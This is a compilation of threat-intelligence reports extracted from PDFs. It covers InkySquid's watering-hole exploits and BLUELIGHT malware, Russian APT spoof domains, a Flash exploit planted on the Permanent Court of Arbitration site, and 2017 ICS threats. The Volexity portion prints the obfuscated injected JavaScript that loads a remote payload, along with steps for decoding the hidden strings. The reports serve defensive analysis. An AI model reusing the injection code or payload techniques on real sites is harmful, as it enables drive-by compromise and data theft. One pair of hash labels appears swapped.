]com/wp-includes/js/jquery/jquery.min.js?ver3.5.1 The line of obfuscated code added to DailyNK was as follows: function vgrai()var edocument.createElement(script)e.srcfecet(w6625I7xy37t45t48xrt54t52105x8tt:6t0s/x0y5,15),document.headdocument.head.appendChild(e)fun vdgie()const ewindow.navigator.userAgent,te.indexOf(rv:11.0 ),ie.indexOf(Trident/)return t0i0vdgie()vgrai() The effect of this is that if a user visited Daily NK using Internet Explorer, then a page would load an additional JavaScript file from the following URL: hxxps://ui.jquery[.
]services/responsive-extend.min.js When requested, with the correct Internet Explorer User-Agent, this host would serve additional obfuscated JavaScript code.
As with the initial redirect, the attacker chose to bury their malicious code amongst legitimate code.
In this particular case, the attacker used the bPopUp JavaScript library alongside their own code.
This decision has two effects: https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/ https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2020-1380 https://cdnjs.cloudflare.com/ajax/libs/bPopup/0.11.0/jquery.bpopup.min.js 2/5 1.
Anyone manually analyzing the JavaScript may dismiss it as legitimate, since the majority of the included code is benign.
2.
Automated solutions used to identify malicious JavaScript may misidentify the code as benign, since large sections match known legitimate library content and use code patterns seen in benign JavaScript.
One interesting aspect of the exploit code the attacker includes is that many of the strings are obfuscated within variables designed to look like legitimate SVG content.
An example of the attacker hiding these strings is given in Figure 1: Figure 1.
Obfuscated strings within the falsified SVG variable In order to decrypt the strings, the following steps are performed: 1.
Split the data contained within the d attribute of the path variable via the M43.2 string.
2.
Take each element in the split data and split once again on space characters, resulting in a list of numbers.
3.
Convert each resulting number to an integer.
4.
If this integer is greater than 30, subtract 17 and append it to the resulting string.
If the integer is 30 or less, discard it.
A Python script to decode these SVG variables is provided on Volexitys GitHub page here.
In total, three fake SVG objects were used.
Once the strings from these objects are substituted into the remaining JavaScript, identifying the exploit became easier.
A key segment of the resulting code is given in Figure 2: https://github.com/volexity/threat-intel/blob/main/2021/2021-08-1720-20InkySquid20Part201/scripts/decode_svg.py 3/5 Figure 2.
Implementation of CVE-2020-1380 This code corresponds to publicly available proof-of-concept (PoC) code for CVE-2020-1380 that has been well documented by TrendMicro.
Following successful exploitation, the JavaScript decrypts a final SVG variable using the same technique described previously.
The resulting blob contains a hex- encoded representation of a Cobalt Strike stager, which is decoded and executed.
In this case, the URLs from where it expected to download additional shellcode were as follows: hxxps://ui.jquery[.
]services/swipeout.min.js hxxps://ui.jquery[.
]services/swipeout.min.css hxxps://ui.jquery[.
]services/slider.min.css CVE-2021-26411 On another occasion, CVE-2021-26411 was used, which is another exploit targeting Internet Explorer and legacy versions of Microsoft Edge.
The redirect code was set up in the same way as CVE-2020-1380, the only difference being the exploit code used.
The key part of the exploit code used is given in Figures 3 and 4.
It was likely a direct implementation of the PoC code posted here by Korean security company Enki.
https://www.trendmicro.com/en_us/research/20/h/cve-2020-1380-analysis-of-recently-fixed-ie-zero-day.html https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26411 https://enki.co.kr/blog/2021/02/04/ie_0day.html 4/5 Figure 3.
Key exploit code used by the attackers Figure 4.
PoC code released on the Enki security blog As with the CVE-2020-1380 example, the attacker made use of encoded content stored in SVG tags to store both key strings and their initial payload.
The initial command-and-control (C2) urls were the same as those observed in the CVE-2020-1380 case.
BLUELIGHT On another occasion, the attacker used a different subdomain of jquery[.
]services to host a new and novel malware family.
The file was hosted at the following location: hxxps://storage.jquery[.
]services/log/history The history file was an XOR-encoded (0xCF) copy of a custom malware family that both the malware developer and Volexity refer to as BLUELIGHT.
The moniker is derived from the PDB string observed in the malware: E:\Development\BACKDOOR\ncov\Release\bluelight.pdb It is likely that BLUELIGHT is used as a secondary payload following successful delivery of Cobalt Strike, which was used as an initial payload in both exploitation cases highlighted earlier in this report.
The file analyzed for this report had the following details: Filename history SHA1 9b86888a83dd0dd1c3a0929f1ea53b82 MD5 558ce5e8c0b1b0a76b88db087f0c92f7a62716fe SHA256 5c430e2770b59cceba1f1587b34e686d586d2c8ba1908bb5d066a616466d2cc6 Notes Shellcode with embedded PE.
The BLUELIGHT malware family uses different cloud providers to facilitate C2.
This specific sample leveraged the Microsoft Graph API for its C2 operations.
Upon start-up, BLUELIGHT performs an oauth2 token authentication using hard-coded parameters.
Once the client is authenticated, BLUELIGHT creates a new subdirectory in the OneDrive appfolder and populates it with several subdirectories used by the C2 protocol.
The following subdirectory names were used: logo normal background theme round https://docs.microsoft.com/en-us/onedrive/developer/rest-api/concepts/special-folders-appfolder?viewodsp-graph-online 5/5 Once the folder and subdirectories are set up, reconnaissance data is gathered containing the following information, formatted as a JSON object: Username Computer name OS version Web IP Local IP of default interface LocalTime Whether the implant binary is 32 or 64 bit Process SID authority level Process filename List of AV products installed Whether the infected machine has VM tools running The data is XOR encoded into a binary blob and uploaded.
All further reconnaissance and command response data is similarly encoded.
This version of the implant used the .jpg extension for nearly all files uploaded regardless of their content, with different subdirectories and base filenames indicating different types of command data.
The reconnaissance data, for instance, is uploaded to the logo/title.jpg path.
The main C2 loop starts after the initial upload of the reconnaissance data, iterating once every approximately 30 seconds.
For the first five minutes, each iteration will capture a screenshot of the display and upload it to the normal subdirectory with an encoded timestamp as the filename.
After the first five minutes, the screenshot uploads once every five minutes.
With every iteration, the client will also query for new commands by enumerating the children of the background subdirectory.
The name of the file indicates the command to perform, with the contents of the file providing further command-specific information.
The following commands are supported: Execute downloaded shellcode.
Download and launch an executable, then upload program output.
Harvest cookies and a password database for supported browsers.
Supports: Win7 IE, Win10 IE, Edge, Chrome, and Naver Whale Recursively search a path and upload file metadata (timestamps, size, and full path).
Spawn a thread to recursively search a path and upload files as a ZIP archive.
Terminate the file upload thread.
Uninstall the implant.
Command files are deleted after being processed.
Result files for most commands are uploaded to the round directory however, the ZIP upload uses the theme subdirectory.
Conclusion While SWCs are not as popular as they once were, they continue to be a weapon in the arsenal of many attackers.
The use of recently patched exploits for Internet Explorer and Microsoft Edge will only work against a limited audience.
Attackers will still have some success, however, and have a good chance of avoiding detection based on the following attributes of their attack: Clever disguise of exploit code amongst legitimate code, making it harder to identify Only allowing exploitable user-agents access to the exploit code, making it difficult to identify at scale (such as through automated scanning of websites) Use of innovative custom malware, such as BLUELIGHT, after successful exploitation using C2 mechanisms which are unlikely to be detected by many solutions How is this activity attributed to InkySquid (aka ScarCruft, APT37)?
This will be explained further in a follow-up post, so stay tuned IoCs  Signatures Related IoCs and signatures to this post are available on Volexitys GitHub page here.
https://whale.naver.com/en/ https://github.com/volexity/threat-intel/tree/main/2021/2021-08-1720-20InkySquid20Part201/indicators
[tr1adx]: Intel tr1adx.net/intel/TIB-00003.html tr1adx Intelligence Bulletin (TIB) 00003: Bear Spotting Vol.
1: Russian Nation State Targeting of Government and Military Interests [Published: January 9, 2017]     [Last Updated: January 15, 2017] Summary The tr1adx team performs on-going research into Threat Actors, irrespective of their motivation, provenance, or targets.
tr1adx Intelligence Bulletin 00003 shares intel on Russian Nation State Cyber Activity targeting Government and Military interests around the world.
Please note this is an active bulletin, meaning we will occassionally add intel and information to this bulletin as we uncover new campaigns, targets or actors which meet the criteria.
tr1adxs research was able to identify targets in various countries and/or regions, including: Turkey Japan Denmark United States Venezuela India NATO Affiliated Targets United Nations Analysis TTPs associated with Russian Nation State Threat Actors (Civil and Military Intelligence/GRU/APT28/APT29) allow us to track these Threat Actors activities with a high/moderate degree of confidence, and follow their trail of breadcrumbs through past, present, and future campaigns.
While, for operational security reasons, we cannot go into detail on our techniques, practices, and sources for intelligence collection and analysis, we can say that the majority of the information published in this bulletin is based on in-depth research leveraging available Open Source Intelligence (OSINT) sources.
In a few cases, intel data has been enriched by, derived from, and collected through other non-OSINT means.
Indicators of Compromise Added on 2017-01-15: Domain Creation Date Campaign Status Targeted Org Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) dpko[.
]info 2016- 10-29 Unknown United Nations (UN) Department of Peacekeeping Operations (DPKO) United States un.org UN DPKO website unausanyc[.
]com 2015- 12-02 Unknown United Nations Association of New York United States unanyc.org Identified phishing originating from this domain targeting the Venezuelan government (minpal.gob.ve) ausa[.
]info 2015- Inactive Association of United ausa.org ESET identified 1/3 https://www.tr1adx.net/intel/TIB-00003.html http://www.un.org/en/peacekeeping/about/dpko/ ausa[.
]info 2015- 07-19 Inactive Association of the United States Army (AUSA) United States ausa.org ESET identified similar indicator (ausameetings[.
]com) in their APT28/Sednit report.
mea-gov[.
]in 2015- 02-20 Inactive Ministry of External Affairs (MEA) India mea.gov.in N/A mfa-news[.
]com 2015- 04-30 Inactive Ministry of Foreign Affairs (MFA) Fake news site N/A N/A N/A defenceinform[.
]com 2015- 05-05 Inactive MDefense Related Fake news site N/A N/A N/A middle- eastreview[.
]com 2015- 04-15 Inactive Middle East Review of International Affairs (MERIA) United States rubincenter.org N/A middle- easterview[.
]com 2015- 04-15 Inactive Middle East Review of International Affairs (MERIA) United States rubincenter.org N/A foreign-review[.
]com 2015- 04-14 Inactive Foreign Affairs Fake news site N/A N/A N/A Added on 2017-01-09: Domain Creation Date Campaign Status Targeted Org Targeted Country Targeted Domain Analyst Notes (and other fun anecdotes) afceaint[.
]org () 2016- 11-02 Inactive Armed Forces Communications and Electronics Association (AFCEA) United States afcea.org Identified 2 related indicators, one of which ties in to another campaign: ns1[.]afceaint[.
]org (216.155.143.28) ns2[.]afceaint[.
]org (216.155.143.27) af-army[.
]us 2016- 10-17 Active Army / Air Force United States army.mil / af.mil The af-army[.
]us domain was seen resolving to 167.114.35.70, which is listed as one of the IP 2/3 http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf listed as one of the IP addresses in the GRIZZLY STEPPE report.
webmail- mil[.
]dk () 2015- 03-25 Inactive Defence Command Denmark webmail.mil.dk Domain was hosted on 216.155.143.27, also seen in AFCEA campaign.
Seriously?
We know its been 2 years and the Denmark Defense campaign may not have been publicized but come on guys... BadOpsec nato- nevvs[.
]org 2016- 10-05 Unknown North Atlantic Treaty Organization (NATO) Affiliates N/A N/A N/A jimin-jp[.
]biz 2016- 12-27 Active Liberal Democratic Party of Japan Japan jimin.jp Per our Japanese Govt sources, domain has been observed in targeted malware.
jica-go- jp[.
]biz 2016- 12-27 Active Japan International Cooperation Agency Japan jica.go.jp Per our Japanese Govt sources, domain has been observed in targeted malware.
mofa-go- jp[.
]com 2016- 12-27 Active Ministry of Foreign Affairs Japan mofa.go.jp Per our Japanese Govt sources, domain has been observed in targeted malware.
turkey- mia[.
]com 2016- 12-20 Active Ministry of Interior Ankara (MIA) Turkey mia.gov.tr Spoofed domain points to legitimate MIA domain: icisleri.gov.tr turkey- icisleri[.
]com 2016- 12-20 Active Ministry of Interior Ankara (MIA) Turkey icisleri.gov.tr Spoofed domain points to legitimate MIA domain: icisleri.gov.tr () Legitimate organization appears to have claimed control over the spoofed/mimicked domain.
Indicators of Compromise (IOCs) [Downloadable Files]: TIB-00003 Domain IOCs [TXT] If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate.
3/3 https://www.tr1adx.net/intel/public/TIB-00003_IOC_Domain.txt [tr1adx]: Intel
China Hacks the Peace Palace: All Your EEZs Are Belong to Us Executive Summary In early July 2015, Chinese APT actors used an Adobe Flash Player exploit within a specific webpage detailing a noteworthy international legal case between the Philippines and China.
This precedent setting legal case would be followed by many Southeast Asian nations, as well as others around the globe.
The exploit appeared on day three of the Permanent Court of Arbitration tribunal, exposing an untold number of interested parties that visited the webpage to potential exploitation.
When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering.
Despite Beijings unwillingness to participate in the international arbitration and their rejection of the PCAs jurisdiction, there appears to be a distinct effort to surreptitiously target those who are interested in this landmark international legal case via electronic means.
ThreatConnect has shared the details of this incident to our Common Community within Incident 20150710D: Permanent Court of Arbitration Flash Exploit.
Log into your ThreatConnect account or register for one via our Community Editions and access the most comprehensive and widely adopted Threat Intelligence Platform on the market.
Hacking the Peace Palace Since the revelation of an Adobe Flash Player zero day exploit exposed as part of the leaked Hacking Team arsenal on July 6th 2015 (designated CVE-2015-5119), the ThreatConnect Intelligence Research Team has been monitoring its adoption by other malicious actors that are not tied to Hacking Team.
On Thursday, July 9, 2015 ThreatConnect observed that a CVE-2015-5119 exploit was embedded strategically within the website for the Permanent Court of Arbitration (PCA), 72 hours after the exploit was disclosed publicly.
The significance of this is that the PCA is an intergovernmental organization providing a variety of dispute resolution services to the international community located at the Peace Palace within The Hague, Netherlands.
The 102-year-old Peace Palace is a historic fixture within the sphere of international law because it also houses the International Court of Justice, the principal judicial body of the United Nations, as well as other bodies and resources that uphold and support international laws and norms to which many nations adhere.
The exploit was posted to the PCA website during the first round of arguments of a notable international legal case where the Philippines is contesting Chinese territorial expansion within the South China Sea (SCS), specifically challenging encroachment into the Philippines exclusive economic zone (EEZ).
https://app.threatconnect.com/tc/auth/incident/incident.xhtml?incident839940 http://www.threatconnect.com/product/product_editions http://blog.trendmicro.com/trendlabs-security-intelligence/unpatched-flash-player-flaws-more-pocs-found-in-hacking-team-leak/ https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-5119 https://en.wikipedia.org/wiki/Peace_Palace http://amti.csis.org/arbitration-timeline/ http://thediplomat.com/2015/07/in-the-philippines-south-china-sea-case-is-international-law-on-trial/ These arbitral proceedings were initially instituted by the Republic of the Philippines against the Peoples Republic of China under Annex VII of the United Nations Convention on the Law of the Sea (UNCLOS) on January 22, 2013.
Two years later, on July 09, 2015, an attacker compromised the official PCA webpages at: [http:]//www.pca-cpa[.
]org/showpage.asp?pag_id1529 [http:]//www.pca-cpa[.
]org/showproj.asp?pag_id1529 This exploitation was almost certainly not a random compromise of the PCA website rather, it occurred http://www.threatconnect.com/news/wp-content/uploads/2015/07/PCA-PH.png http://www.un.org/depts/los/convention_agreements/texts/unclos/unclos_e.pdf during the initial phase of the legal proceedings.
The exploit itself was embedded within the very pages that specifically described the legal case of The Republic of the Philippines v. The Peoples Republic of China.
According to URLQuery, the attackers placed a CVE-2015-5119 Flash Exploit at the malicious URL [http:]//pic.nicklockluckydog[.
]org/movie.swf, and altered the PCA webpages to load that URL when visited.
The domain pic.nicklockluckydog[.
]org resolved to the IP address 192.243.116[.
]241 (Phoenix, Arizona, US) at the time of initial exploitation.
IP Address 192.243.116[.
]241 is owned by IT7 Networks, Inc., which provides self-managed Virtual Private Server (VPS) infrastructure.
The attackers shifted the domain later, http://www.threatconnect.com/news/wp-content/uploads/2015/07/PCA_Page.png http://urlquery.net/report.php?id1436446646272 http://www.threatconnect.com/news/wp-content/uploads/2015/07/URLQ.png resolving to IP Address 108.61.117[.
]9 (Haarlem, Netherlands) on Friday, July 10th, the very day that the tribunal convened in The Hague.
The malware payload associated with this exploit has been identified as MD5: B4522D05A9E3A034AF481A7797A445EA (Rdws.exe).
This payload is a dropper executable that deploys its main malware component using a dynamic link library (DLL) sideloading technique, where a malicious DLL is dropped alongside a legitimate program executable that will load that malicious DLL by filename.
In this instance, the attackers leveraged the legitimate Google Chrome Frame Helper executable MD5: https://www.virustotal.com/en/file/d749fd6f24349e82803d85aee5e7c6165baf473ecc2dd76ddd37e33c6f2e3e4b/analysis/ http://www.threatconnect.com/news/wp-content/uploads/2015/07/TC-PCA.png DFDC5B09C4DEA79EB7F5B9E4E76EECF9 (LMS.exe) with the malicious sideload DLL file MD5: 2EE25DE7BD6A2705F3F8DDE0DD681E96 (dbghelp.dll).
LMS.exe will load any DLL file name dbghelp.dll that is found in the same path, hence the sideloading technique.
In turn, The malicious DLL loads a backdoor binary blob MD5: 16E5A27BD55E0B4E595C9743F4C75611 (ticrf.rat).
The malware connects back to the exploit domain pic.nicklockluckydog[.
]org as well as the subdomain ssl.nicklockluckydog[.
]org.
The domain ssl.nicklockluckydog[.
]org resolved to 175.45.233[.
]205 (Seoul, South Korea) at the time of analysis.
ThreatConnect also uncovered a related malware sample MD5: 5877D15215B7F398319F0DE7BA7B1947, which was submitted to Malwr.com on July 15, 2015.
This malware implant matches the type used above, and leverages the C2 domains books.blueworldlink2015[.
]net and vpn.nicklockluckydog[.
]org.
The former domain resolves to the same Netherlands IP 108.61.117[.
]9 which resolved pic.nicklockluckydog[.
]org on July 10th.
blueworldlink2015[.
]net was registered by the email address nicklock2004[]aol[.
]com, which noticeably uses the same nicklock pseudonym found in the domain nicklockluckydog[.
]org, and uses the falsified address info zhongguohunansheng Beijing, China.
The domain nicklockluckydog[.
]org was registered on July 9th, 2015 at 06:22Z by a Chinese domain reseller using falsified information such as the name Lanny Chen and address 7946 N Bridle Creek Way in Xiamen, Taiwan.
On an interesting note, the registration address 7946 N Bridle Creek Way is the same observed within a civil suit between the National Football League and various Chinese domain resellers originally filed in May 2014.
Conclusion In early July 2015, Chinese APT actors would operationalize an Adobe Flash Player exploit within 72 hours of its public disclosure, strategically staging it within a specific webpage detailing a noteworthy international legal case between the Philippines and China.
This precedent setting legal case would be followed by many Southeast Asian nations, as well as those around the globe.
The exploit appeared during the first round of hearings, exposing an untold number of interested parties that visited the webpage.
The tactic of leveraging strategic website compromises with patched or unpatched exploits is a well known https://www.virustotal.com/en/file/ce62f34c6d41ee6790279d1fec1b949f9f5f60c345a250fc3e222c4b595f9260/analysis/ https://www.virustotal.com/en/file/bfa974b02e0fd5130983ff991409fb3d3f9738ab3804d4773adbaa8ebf59b3e2/analysis/ http://www.threatconnect.com/news/wp-content/uploads/2015/07/GET.png https://malwr.com/analysis/N2U2YTJiZjRjMzZlNDk0NTkyMDkzMjVjYWZkZGVmNGQ/ http://www.nfl.com/static/content/public/photo/2014/05/20/0ap2000000352462.pdf observable which has been used consistently by various APT groups in recent years.
When considered holistically, the intelligence supports the conclusion that this exploitation campaign was purposefully carried out against the backdrop of diplomatic and legal maneuvering.
Manila has long recognized they are unable to independently lock horns with China diplomatically or militarily, by invoking dispute settlement procedures under the UNCLOS, an agreement in which both China and the Philippines are signatories.
The Philippines is seeking to leverage international law to level the playing field against Chinas regional diplomatic and military dominance, the ultimate goal being to deter aggressive Chinese expansion activities within the Philippine EEZ and the broader South China Sea.
Despite Beijings unwillingness to participate in the international arbitration and their rejection of the PCAs jurisdiction, there appears to be a distinct effort to surreptitiously monitor those who are interested in this landmark international legal case via electronic means.
This vignette also highlights the critical difference between threat data and threat intelligence.
The latter goes beyond simply pulling in a stream of open source indicators and blindly pushing them to your enterprise network security devices and SIEM tools hoping something hits (it works great youll get TONS of hitsor misses, depending on your perspective).
A true Threat Intelligence Platform enables tactical, operational, and strategic analysis of the details behind the technical how within the context of the non- technical, socio-political why.
ThreatConnect has previously shared Threat Intelligence research of espionage activity tied to the increasing tensions within the South China Sea.
In a similar fashion, ThreatConnect has shared additional details of this incident to our Common Community within Incident 20150710D: Permanent Court of Arbitration Flash Exploit.
Log into your ThreatConnect account or register for one via our Community Editions and access the most comprehensive and widely adopted Threat Intelligence Platform on the market.
http://www.threatconnect.com/news/piercing-the-cows-tongue-china-targeting-south-china-seas-nations/ https://app.threatconnect.com/tc/auth/incident/incident.xhtml?incident839940 http://www.threatconnect.com/product/product_editions
INDUSTRIAL CONTROL SYSTEM THREATS Industrial Control System Threats, Dragos, Inc., Hanover, MD, 1 March 2018 https://dragos.com https://www.dragos.com/yearinreview/2017 TABLE OF CONTENTS 2017: A YEAR IN THREATS                                   01 INDUSTRIAL CONTROL SYSTEM THREATS             02 2017 ICS THREAT REVIEW 2017 ICS THREATS                                           03 A SUMMARY NEW ICS-FOCUSED MALWARE                                    04 TRADITIONAL IT MALWARE CRIPPLING OPERATIONAL NETWORKS                                         04 ADVERSARIES STAYING BUSY: ICS-FOCUSED ACTIVITY                                            04 RECOMMENDATIONS                                        05 2017 ICS THREATS IN DETAIL                              06 CRASHOVERRIDE                                                    07 TRISIS                                                                  08 DISRUPTIVE IT MALWARE                                          09 ACTIVITY GROUPS                                              11 ELECTRUM                                                             12 COVELLITE                                                              13 DYMALLOY                                                              14 CHRYSENE                                                              16 MAGNALLIUM                                                          17 Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 http://www.dragos.com Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 01 Adversary Hunter  Dragos, Inc. Joe Slowik 2017 represents a defining year in ICS security: two major and unique ICS-disruptive attackers were revealed five distinct activity groups targeting ICS networks were identified and several large-scale IT infection events with ICS implications occurred While this represents a significant increase in known ICS activity, Dragos assesses we are only scratching the surface of ICS-focused threats.
2017 may therefore represent a break-through moment, as opposed to a high- water mark  with more activity to be expected in 2018 and beyond.
While our visibility and efforts at hunting are increasing, we recognize that the adversaries continue to grow in number and sophistication.
By identifying and focusing on adversary techniques  especially those which will be required in any intrusion event  ICS defenders can achieve an advantageous position with respect to identifying and monitoring future attacks.
This report seeks to inform ICS defenders and asset owners on not just known attacks, but to provide an overview for how an adversary must and will operate in this environment moving forward.
By adopting a threat-centric defensive approach, defenders can mitigate not just the adversaries currently known, but future malicious actors as well.
2017 A YEAR IN THREATS DRAGOS http://www.dragos.com 02Dragos, Inc     www dragos com    DragosInc    version 1 0 INDUSTRIAL CONTROL SYSTEM THREATS 2017 ICS THREAT REVIEW 2017 was a watershed year in industrial control systems (ICS) security largely due to the discovery of new capabilities and a significant increase in ICS threat activity groups Cybersecurity risks to the safe and reliable operation of industrial control systems have never been greater  While numerous, incidental infections occur in industrial networks on a regular basis, ICS-specific or ICS-tailored malware is rarer Prior to 2017 only three families of ICS-specific malware were known: STUXNET, BLACKENERGY 2, and HAVEX  In 2017 the world learned of two new ICS-specific malware samples: TRISIS and CRASHOVERRIDE  Both of these samples led to industry firsts  CRASHOVERRIDE was the first malware to ever specifically target and disrupt electric  grid  operations  and led  to  operational outages in Kiev, Ukraine in 2016 (although it was not definitively discovered until 2017)  TRISIS is the first malware to ever specifically target and disrupt safety instrumented  systems  (SIS),  and is the  first malware to ever specifically target, or accept as a potential consequence, the loss of human life  The impact of these events cannot be understated The number of adversaries targeting control systems and their investment in ICS-specific capabilities is only growing.
There are now five current, active groups targeting ICS systems  far more than our current biases with respect to the skill, dedication, and resources required for ICS operations would have us believe possible.
These events and continued activity will only drive a hidden arms race for other state and non-state actors to mature equivalent weapons to affect industrial infrastructure and ensure parity against possible adversaries.
We regrettably expect ICS operational losses and likely safety events to continue into 2018 and the foreseeable future.
PERSPECTIVE https://dragos.com https://dragos.com http://twitter.com/dragosinc Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 03 2017 ICS THREATS A SUMMARY 2017 featured multiple, concerning developments within the ICS security space.
On a general level, wormable ransomware such as WannaCry and NotPetya provided notice to ICS owners and  operators that industrial networks are far more connected to the  IT  environment  than many realized.
While significant and  for some organizations  costly, 2017 also featured some targeted events led by activity groups focused exclusively on the ICS environment.
Previously, defenders perceived ICS threat actors as rare with significant technical limitations or hurdles to overcome.
But 2017 demonstrated  either because ICS is an increasingly enticing target, or because researchers and defenders are merely looking harder  that these groups are more common than previously thought.
Toward that end, Dragos identified five active, ICS- focused groups that displayed various levels of activity throughout 2017.
While only one has demonstrated an apparent capability to impact ICS networks through ICS-specific malware directly, all have engaged in at least reconnaissance and intelligence gathering surrounding the ICS environment.
Overall, the scope and extent of malicious activity either directly targeting or gathering information on ICS networks increased significantly throughout 2017.
As a result of these events, Dragos has been able to analyze and develop strategies for defending and mitigating various types of attack against ICS assets http://www.dragos.com 04Dragos, Inc     www dragos com    DragosInc    version 1 0 NEW ICS-FOCUSED MALWARE 2017 witnessed a dramatic expansion in ICS security activity and awareness.
During the year, Dragos identified and analyzed CRASHOVERRIDE, responsible for the Ukraine power outage event that occurred in December of 2016, and then discovered and analyzed TRISIS, the first ICS malware designed to target industrial safety systems in November.
Considering that defenders knew  of  only  three ICS-focused malware samples before 2017  STUXNET (pre-2010), BLACKENERGY2 (2012), and HAVEX (2013), the emergence and discovery of two more this year indicates that adversaries are focusing more effort and resources on ICS targeting, and those capabilities are expanding.
TRADITIONAL IT MALWARE CRIPPLING OPERATIONAL NETWORKS Early 2017 saw the release of the EternalBlue vulnerability (MS17-010) and the subsequent WannaCry ransomware worm.
The infection of operational networks with this ransomware and operational disruption illustrated the symbiotic relationship between the two networks.
While engineers and operations staff have long held the separation between business  and operational environments as the ICS model, the border is increasingly permeable and therefore operational ICS networks are facing traditional business threats.
Closely following the WannaCry ransomware adversaries launched NotPetya.
What was unique is that this was a wiper masquerading as ransomware appearing to initially target Ukraine business and financial sectors.
In addition to weaponizing the EternalBlue exploit, NotPetya leveraged credential capture and replay to provide multiple means of propagation, resulting in rapid spreading to organizations well-removed from Ukrainian business sectors.
Perhaps the most sobering example is Maersk, which is estimated to have lost up to 300 million USD while also having to rebuild and replace most of its IT and operations network.1 To combat malware infection events such as the above examples, Dragos pursues commodity, non- ICS-focused malware through the MIMICS project: Malware In Modern ICS Environments.
By aggressively hunting for standard IT threats that can pose a specific danger to ICS environments, Dragos works to provide early warning and defensive guidance on potentially overlooked threats.
ADVERSARIES STAYING BUSY: ICS-FOCUSED ACTIVITY Dragos currently tracks five activity groups targeting ICS environments: either with an ICS- specific capability, such as CRASHOVERRIDE or with an intention to gather information  and intelligence on ICS-related networks and organizations.
These groups have remained relatively constant regarding overall activity throughout the year, and Dragos is confident that additional unknown events have occurred.
https://www.itnews.com.au/news/maersk-had-to-reinstall-all-it-systems-after-notpetya-infection-4818151 https://dragos.com https://dragos.com http://twitter.com/dragosinc https://www.itnews.com.au/news/maersk-had-to-reinstall-all-it-systems-after-notpetya-infection-481815 Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 05 An ICS intelligence-driven approach to threat intelligence is not universal.
Indicators of compromise are not intelligence and will not save any organization.
Organizations must understand and consume ICS-specific threat intelligence to monitor for adversary behaviors and tradecraft instead of simply detecting changes, anomalies, or after-the-fact indicators of compromise.2 DETECTION-IN-DEPTH Just as defense-in-depth is a necessary component of modern cybersecurity, detection-in-depth must become a necessary component across all industrial control levels.
Enhanced monitoring must especially Include any permeable barriers such as the IT-OT network gap.
ICS networks are increasingly connected not only to the IT network but also directly to vendor networks and external communication sources leaving monitoring of the IT environments alone entirely inefficient.
ICS-SPECIFIC INVESTIGATIONS In the event of a breach or disruption there must be ICS-specific investigation capabilities and ICS-specific incident response plans.
This is the only effective way of identifying root cause analysis and reducing mean time to recovery in the operations environments when facing industrial specific threats.
ASSUME BREACH Disruptive ICS-specific malware is real, traditional IT threats now regularly cross the IT-OT divide, and ICS knowledgeable activity groups are targeting industrial infrastructure directly instead of just the IT networks of industrial companies.
Gone are the days of protection via a segmented network  detection is the first component of an assume- breach model  you can only respond to what you can see.
RESILIENCE AGAINST CYBER ATTACK Resiliency analysis and engineering surrounding industrial processes must include cyber-attacks.
For example, safety systems must be designed and operated with the understanding that they may now be purposefully attacked and undermined.
To understand ICS threat intelligence read the Dragos whitepaper Industrial Control Threat Intelligence https://dragos.com/media/Industrial-Control-Threat-Intelligence-Whitepaper.pdf 2 RECOMMENDATIONS http://www.dragos.com https://dragos.com/media/Industrial-Control-Threat-Intelligence-Whitepaper.pdf Dragos, Inc.    www.dragos.com    DragosInc    version 1.0 06 IN DETAIL ICS THREATS 2017 http://www.dragos.com 07Dragos, Inc     www dragos com    DragosInc    version 1 0 CRASHOVERRIDE Although taking place in late December 2016, the ICS security community did not fully understand the extent and significance of the 2016 Ukrainian power outage until later in 2017.
After identifying samples, Dragos determined that specifically-tailored malware caused the 2016 event by manipulating the breakers at the target substation in Ukraine.
At the time, this represented only the second instance where malware was utilized to directly impact an ICS device or process with little human intervention  the other example being the Stuxnet worm.
In this case, the adversary developed a modular attack framework that combined a reasonably protocol-compliant manipulation program to create an ICS impact (opening breakers to generate a power outage), with malicious wiper functionality to impede and delay system recovery.
Further investigation identified a distinct activity group behind the CRASHOVERRIDE event, as both a developer and attacker: ELECTRUM  As detailed below, ELECTRUM is assessed to be a highly sophisticated, well-resourced activity group that remains active Defenders lack any knowledge of CRASHOVERRIDE itself or similar capabilities used after the December 2016 event.
While CRASHOVERRIDE, as deployed in the Ukraine attack, is not capable of impacting environments dissimilar to the equipment and protocol setup at the target utility, the framework and method of operations deployed provide an example for other adversaries to follow.
Examples of new tradecraft to emerge from CRASHOVERRIDE include: leveraging ICS protocols to create a malicious impact creating modular malware frameworks designed to work with multiple protocols and incorporating automatically-deployed wiper functionality chained to an ICS impact.
Thus, even if CRASHOVERRIDE itself cannot be used again outside of very narrow circumstances, the tactics, techniques, and procedures (TTPs) employed by it can be adapted to new environments.
By identifying these TTPs and building defenses around them, organizations can prepare themselves for the next CRASHOVERRIDE-like attack, rather than focusing exclusively on the specific events from December 2016 leaving the enterprise open and undefended against even minor variations in the attack.
https://dragos.com https://dragos.com http://twitter.com/dragosinc 08Dragos, Inc     www dragos com    DragosInc    version 1 0 TRISIS TRISIS is the third-recorded ICS attack executed via malware, the previous two being Stuxnet and CRASHOVERRIDE (see above).
TRISIS is a specifically-targeted program designed to upload new ladder logic to Schneider Electric Triconex safety systems.
The malware utilizes a specially- crafted search and upload routine to enable overwriting ladder logic within memory based on a deep understanding of the Triconex product.
Unique compared to past ICS events, TRISIS targeted safety instrumented systems (SIS), those devices used to ensure  system  remain in and fail to a safe state within the physical environment.
By targeting SIS, an adversary can achieve multiple, potentially dangerous impacts, ranging from extensive physical system downtime to false safety alarms, physical damage, and  destruction.
Additionally, by targeting a SIS the adversary must either intend or willfully accept the loss of human life from the operation.
